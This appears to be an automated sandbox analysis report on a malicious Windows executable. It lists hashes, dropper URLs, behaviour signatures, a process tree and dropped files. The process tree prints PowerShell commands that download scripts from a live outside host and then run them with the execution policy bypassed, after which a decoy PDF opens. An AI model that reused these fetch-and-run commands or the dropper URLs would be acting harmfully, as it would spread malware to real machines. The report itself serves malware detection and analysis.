Analysis

  • max time kernel
    109s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    16-07-2024 00:12

General

  • Target

    34c2047d0b69ba023b700c21431accc0N.exe

  • Size

    258KB

  • MD5

    34c2047d0b69ba023b700c21431accc0

  • SHA1

    e34c28611707c81565cb73d8a1a46dfc3ab2495a

  • SHA256

    ff9b39d07fd6e4a7f98d109664d91de9e318671da6412da85396541722d92799

  • SHA512

    a1566d65beb8135edfcb5c4a09631bc17dff56db672621990a10d0eff37a0290c7e1e9705f1918a7e719cbea4b1cecc29bb8254da946108e9bd5432070cc8ca7

  • SSDEEP

    6144:VbJhs7QW69hd1MMdxPe9N9uA0hu9TBrjJ0Xxne0AqGLj:VbjDhu9TV6xeJqG3

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://thelustfactory.com/vns/1.ps1

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://thelustfactory.com/vns/2.ps1

Signatures

  • Blocklisted process makes network request 6 IoCs
  • HTTP links in PDF interactive object 1 IoCs

    Detects HTTP links in interactive objects within PDF files.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\34c2047d0b69ba023b700c21431accc0N.exe
    "C:\Users\Admin\AppData\Local\Temp\34c2047d0b69ba023b700c21431accc0N.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2976
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\A46A.tmp\A46B.tmp\A46C.bat C:\Users\Admin\AppData\Local\Temp\34c2047d0b69ba023b700c21431accc0N.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1996
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('http://thelustfactory.com/vns/1.ps1', 'C:\Users\Admin\AppData\Roaming\1.ps1')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1140
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('http://thelustfactory.com/vns/2.ps1', 'C:\Users\Admin\AppData\Roaming\2.ps1')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2784
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Roaming\1.ps1
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2748
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Roaming\2.ps1
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2880
      • C:\Windows\system32\timeout.exe
        timeout /t 5
        3⤵
        • Delays execution with timeout.exe
        PID:2164
      • C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
        "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\pdf.pdf"
        3⤵
        • Suspicious behavior: CmdExeWriteProcessMemorySpam
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of SetWindowsHookEx
        PID:1244

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\A46A.tmp\A46B.tmp\A46C.bat

    Filesize

    712B

    MD5

    0e9ce5162ba7661c863a835f9d34d907

    SHA1

    0b351312ab57a02857753cab2287da680955f40d

    SHA256

    b67f37e765a5be87d9591efdb0501f0c97aa342ad1e4c34a711828c4a505c81e

    SHA512

    8d7c0a3cc95628cbec8a215f365c3ed86746e7b350c811ace5ea4419031adbdbe75dc7d1350d9c71db51f5cbb972db4e33b1d05e9a3e2a109c559eb065811ec0

  • C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

    Filesize

    3KB

    MD5

    85216e19796ee5c840fe08b6940d0c5d

    SHA1

    381fa86e02c59d5725fe61c793fc6189495d8f6e

    SHA256

    4f30475debedc168542f852c290f46be421bb465b6c999987a1347d153811d1d

    SHA512

    e0bc5624ce2b7d6dcf7e1aa2e101e28859be00c6e3a22a22334b7baf68d4d769090d199aaf3c6562cfd40e33c89c097438152d362ef270f08e883594d97e4396

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    c03add7e0a11028392cb6917850c6b47

    SHA1

    a081bf8d517e9ac3194e63356bef1732b9505cc6

    SHA256

    8db67bce5674fb6ae6760d4f75a74eb60e07f61661c7aacc5ed8c953588f7c7f

    SHA512

    db2d5de016b8a7655cdca65844d1ddd906342336b1864d3abc76b5fd14693f87da098c44911318c03b455b357be17e8ce74422f25fb49686beae6ba57504b8ed

  • C:\Users\Admin\AppData\Roaming\pdf.pdf

    Filesize

    139KB

    MD5

    5afaf79789a776d81ec91ccbdc9fdaba

    SHA1

    6703901978dcb3dbf2d9915e1d3e066cfe712b0a

    SHA256

    38c9792d725c45dd431699e6a3b0f0f8e17c63c9ac7331387ee30dcc6e42a511

    SHA512

    09253eb87d097bdaa39f98cbbea3e6d83ee4641bca76c32c7eb1add17e9cb3117adb412d2e04ab251cca1fb19afa8b631d1e774b5dc8ae727f753fe2ffb5f288

  • memory/1140-10-0x0000000000670000-0x0000000000678000-memory.dmp

    Filesize

    32KB

  • memory/1140-12-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

    Filesize

    9.6MB

  • memory/1140-13-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

    Filesize

    9.6MB

  • memory/1140-14-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

    Filesize

    9.6MB

  • memory/1140-15-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

    Filesize

    9.6MB

  • memory/1140-11-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

    Filesize

    9.6MB

  • memory/1140-9-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

    Filesize

    2.9MB

  • memory/1140-8-0x000007FEF5E0E000-0x000007FEF5E0F000-memory.dmp

    Filesize

    4KB

  • memory/2784-21-0x000000001B740000-0x000000001BA22000-memory.dmp

    Filesize

    2.9MB

  • memory/2784-22-0x00000000028E0000-0x00000000028E8000-memory.dmp

    Filesize

    32KB